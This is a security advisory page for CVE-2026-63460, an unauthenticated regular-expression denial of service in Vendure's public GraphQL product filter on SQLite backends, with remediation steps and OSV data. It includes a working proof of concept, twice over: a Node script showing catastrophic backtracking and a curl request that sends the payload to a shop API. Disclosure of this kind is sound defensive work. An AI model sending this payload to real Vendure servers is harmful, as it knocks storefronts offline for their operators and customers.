CVE-2026-63460: Vendure Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-jgm3-qmp2-c4p7
CVSS 7.5
CWE-1333
Published
Advisory Summary

CVE-2026-63460 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Vendure libraries in the npm ecosystem. The issue involves unauthenticated redos via `regex` filter on sqlite backends. Remediation is available by upgrading affected packages to version 3.6.5.

CVE-2026-63460 at a Glance

CVE Identifier CVE-2026-63460
GHSA Identifier GHSA-jgm3-qmp2-c4p7
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Vendure
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-63460

To remediate this vulnerability, upgrade all affected Vendure dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@vendure/core fixed: 3.6.5
npm install @vendure/core@3.6.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @vendure/core

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-63460, inspect your project dependencies using npm:

npm ls @vendure/core

Analyze the terminal output to locate any version of Vendure in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.5), your application is affected.

Note: The npm ls @vendure/core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Vendure, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary > [!IMPORTANT] > Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected. The `StringOperators.regex` filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required. --- ### Details Vendure registers a JavaScript UDF so that SQLite can handle the `REGEXP` operator: **`packages/core/src/service/helpers/list-query-builder/list-query-builder.ts` lines 917–931** ```ts private registerSQLiteRegexpFunction() { const regexpFn = (pattern: string, value: string) => { const result = new RegExp(`${pattern}`, 'i').test(value); // user-controlled pattern return result ? 1 : 0; }; if (dbType === 'better-sqlite3') { driver.databaseConnection.function('regexp', regexpFn); } if (dbType === 'sqljs') { driver.databaseConnection.create_function('regexp', regexpFn); } } ``` The `pattern` argument is the raw value of `StringOperators.regex` submitted by the caller. No length limit, timeout, or safe-regex validation is applied before constructing `new RegExp(pattern)`. **`packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts` lines 321–325** ```ts case 'regex': return { clause: getRegexpClause(fieldName, argIndex, dbType), parameters: { [`arg${argIndex}`]: operand }, // operand = raw user input }; ``` The `products` resolver in `packages/core/src/api/resolvers/shop/shop-products.resolver.ts` carries **no `@Allow` decorator**, and the access control strategy treats an empty permission set as publicly accessible: **`packages/core/src/config/auth/default-entity-access-control-strategy.ts` lines 49–52** ```ts async canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> { if (permissions.length === 0) { return true; // no @Allow → public } ... } ``` The three conditions together — user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access — create a complete unauthenticated DoS path. Affected database drivers: `better-sqlite3`, `sqljs`. MySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop). --- ### PoC <img width="1610" height="458" alt="image" src="https://github.com/user-attachments/assets/327f3847-79d9-43e2-859e-47a753e61b2b" /> [poc.zip](https://github.com/user-attachments/files/28752976/poc.zip) [poc-redos.js](https://github.com/user-attachments/files/28753000/poc-redos.js) **Prerequisites:** Node.js ≥ 18. No account, no server, no dependencies. **Step 1 — save the following as `poc-redos.js`:** ```js // Exact code from list-query-builder.ts:918-919 const PATTERN = '(a+)+$'; const VALUE = 'a'.repeat(28) + 'b'; console.log('[*] pattern:', PATTERN, ' value:', VALUE); console.log('[*] Starting (server would be unresponsive from this point)...'); const start = Date.now(); const result = new RegExp(`${PATTERN}`, 'i').test(VALUE); console.log('[+] elapsed:', Date.now() - start, 'ms result:', result); ``` **Step 2 — run it:** ```cmd node poc-redos.js ``` **Expected output (verified on Node.js v24.14.0):** ``` [*] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab [*] Starting (server would be unresponsive from this point)... [+] elapsed: 19755 ms result: false ``` A 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop — the process cannot handle any other request for the entire duration. **Step 3 — GraphQL payload (against a running Vendure instance with `better-sqlite3` or `sqljs` driver):** ```cmd curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\\"(a+)+$\\\"}}}) { items { id } } }\"}" --max-time 60 ``` *No test account is needed. The `products` query is publicly accessible.* --- ### Impact **Vulnerability type:** Regular Expression Denial of Service (ReDoS) **Who is impacted:** - Any Vendure deployment running with a `better-sqlite3` or `sqljs` database driver (typical for development environments and single-server small deployments created via `@vendure/create`). - Any unauthenticated internet user can trigger the attack — no credentials, no API key, no session. - A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen). - Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second. --- ### Fix 1. **Validate the regex before constructing it.** Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g. `safe-regex2` or `recheck`) before passing them to `new RegExp()`. 2. **Enforce a maximum pattern length.** Reject `StringOperators.regex` values exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer. 3. **Run the UDF in a worker thread.** Move `regexpFn` off the main event loop by executing it in a `worker_threads` context with an `AbortSignal` timeout so a hung regex cannot block the server. 4. **Require authentication for filtered list queries.** Add `@Allow(Permission.Authenticated)` to `ShopProductsResolver.products` (and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure. ---

CVE-2026-63460 Affected Vendure Versions

1 component(s)
Fixed Versions:
3.6.5
Product / Package Ecosystem Affected Versions Fixed Version
@vendure/core
npm
< 3.6.5
3.6.5

References

Frequently Asked Questions

What is CVE-2026-63460?
CVE-2026-63460 is a security vulnerability in Vendure involving Unauthenticated ReDoS via `regex` filter on SQLite backends under CWE-1333: Inefficient Regular Expression Complexity.
Which Vendure versions are affected?
Affected versions include releases prior to 3.6.5 across affected packages: @vendure/core.
What version fixes CVE-2026-63460?
Upgrading to 3.6.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @vendure/core affected?
Yes, @vendure/core is affected in releases prior to 3.6.5. Upgrade your dependency to 3.6.5 or later.
What is the CVSS score of CVE-2026-63460?
CVE-2026-63460 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-63460?
CVE-2026-63460 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for CVE-2026-63460?
Run the dependency tree command: 'npm ls @vendure/core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jgm3-qmp2-c4p7",
  "modified" : "2026-09-25T17:31:05Z",
  "published" : "2026-09-17T14:49:56Z",
  "aliases" : [ "CVE-2026-63460" ],
  "summary" : "Vendure: Unauthenticated ReDoS via `regex` filter on SQLite backends",
  "details" : "### Summary\n\n> [!IMPORTANT] \n> Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected.\n\nThe `StringOperators.regex` filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required.\n\n---\n\n### Details\n\nVendure registers a JavaScript UDF so that SQLite can handle the `REGEXP` operator:\n\n**`packages/core/src/service/helpers/list-query-builder/list-query-builder.ts` lines 917–931**\n```ts\nprivate registerSQLiteRegexpFunction() {\n    const regexpFn = (pattern: string, value: string) => {\n        const result = new RegExp(`${pattern}`, 'i').test(value);  // user-controlled pattern\n        return result ? 1 : 0;\n    };\n    if (dbType === 'better-sqlite3') {\n        driver.databaseConnection.function('regexp', regexpFn);\n    }\n    if (dbType === 'sqljs') {\n        driver.databaseConnection.create_function('regexp', regexpFn);\n    }\n}\n```\n\nThe `pattern` argument is the raw value of `StringOperators.regex` submitted by the caller. No length limit, timeout, or safe-regex validation is applied before constructing `new RegExp(pattern)`.\n\n**`packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts` lines 321–325**\n```ts\ncase 'regex':\n    return {\n        clause: getRegexpClause(fieldName, argIndex, dbType),\n        parameters: { [`arg${argIndex}`]: operand },  // operand = raw user input\n    };\n```\n\nThe `products` resolver in `packages/core/src/api/resolvers/shop/shop-products.resolver.ts` carries **no `@Allow` decorator**, and the access control strategy treats an empty permission set as publicly accessible:\n\n**`packages/core/src/config/auth/default-entity-access-control-strategy.ts` lines 49–52**\n```ts\nasync canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> {\n    if (permissions.length === 0) {\n        return true;   // no @Allow → public\n    }\n    ...\n}\n```\n\nThe three conditions together — user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access — create a complete unauthenticated DoS path.\n\nAffected database drivers: `better-sqlite3`, `sqljs`.  \nMySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop).\n\n---\n\n### PoC\n\n<img width=\"1610\" height=\"458\" alt=\"image\" src=\"https://github.com/user-attachments/assets/327f3847-79d9-43e2-859e-47a753e61b2b\" />\n[poc.zip](https://github.com/user-attachments/files/28752976/poc.zip)\n[poc-redos.js](https://github.com/user-attachments/files/28753000/poc-redos.js)\n\n**Prerequisites:** Node.js ≥ 18. No account, no server, no dependencies.\n\n**Step 1 — save the following as `poc-redos.js`:**\n\n```js\n// Exact code from list-query-builder.ts:918-919\nconst PATTERN = '(a+)+$';\nconst VALUE   = 'a'.repeat(28) + 'b';\nconsole.log('[*] pattern:', PATTERN, '  value:', VALUE);\nconsole.log('[*] Starting (server would be unresponsive from this point)...');\nconst start = Date.now();\nconst result = new RegExp(`${PATTERN}`, 'i').test(VALUE);\nconsole.log('[+] elapsed:', Date.now() - start, 'ms  result:', result);\n```\n\n**Step 2 — run it:**\n```cmd\nnode poc-redos.js\n```\n\n**Expected output (verified on Node.js v24.14.0):**\n```\n[*] pattern: (a+)+$   value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab\n[*] Starting (server would be unresponsive from this point)...\n[+] elapsed: 19755 ms  result: false\n```\n\nA 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop — the process cannot handle any other request for the entire duration.\n\n**Step 3 — GraphQL payload (against a running Vendure instance with `better-sqlite3` or `sqljs` driver):**\n```cmd\ncurl -s -X POST http://localhost:3000/shop-api -H \"Content-Type: application/json\" -d \"{\\\"query\\\":\\\"{ products(options:{filter:{name:{regex:\\\\\\\"(a+)+$\\\\\\\"}}}) { items { id } } }\\\"}\" --max-time 60\n```\n\n*No test account is needed. The `products` query is publicly accessible.*\n\n---\n\n### Impact\n\n**Vulnerability type:** Regular Expression Denial of Service (ReDoS)\n\n**Who is impacted:**\n- Any Vendure deployment running with a `better-sqlite3` or `sqljs` database driver (typical for development environments and single-server small deployments created via `@vendure/create`).\n- Any unauthenticated internet user can trigger the attack — no credentials, no API key, no session.\n- A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen).\n- Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second.\n\n---\n\n### Fix\n\n1. **Validate the regex before constructing it.** Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g. `safe-regex2` or `recheck`) before passing them to `new RegExp()`.\n\n2. **Enforce a maximum pattern length.** Reject `StringOperators.regex` values exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer.\n\n3. **Run the UDF in a worker thread.** Move `regexpFn` off the main event loop by executing it in a `worker_threads` context with an `AbortSignal` timeout so a hung regex cannot block the server.\n\n4. **Require authentication for filtered list queries.** Add `@Allow(Permission.Authenticated)` to `ShopProductsResolver.products` (and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@vendure/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vendurehq/vendure/security/advisories/GHSA-jgm3-qmp2-c4p7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63460"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vendurehq/vendure/commit/f74cbbb0b9a50b5b0131822835fe7ee9b71b42c9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vendurehq/vendure"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vendurehq/vendure/releases/tag/v3.6.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T14:49:56Z",
    "nvd_published_at" : "2026-09-17T15:16:49Z"
  }
}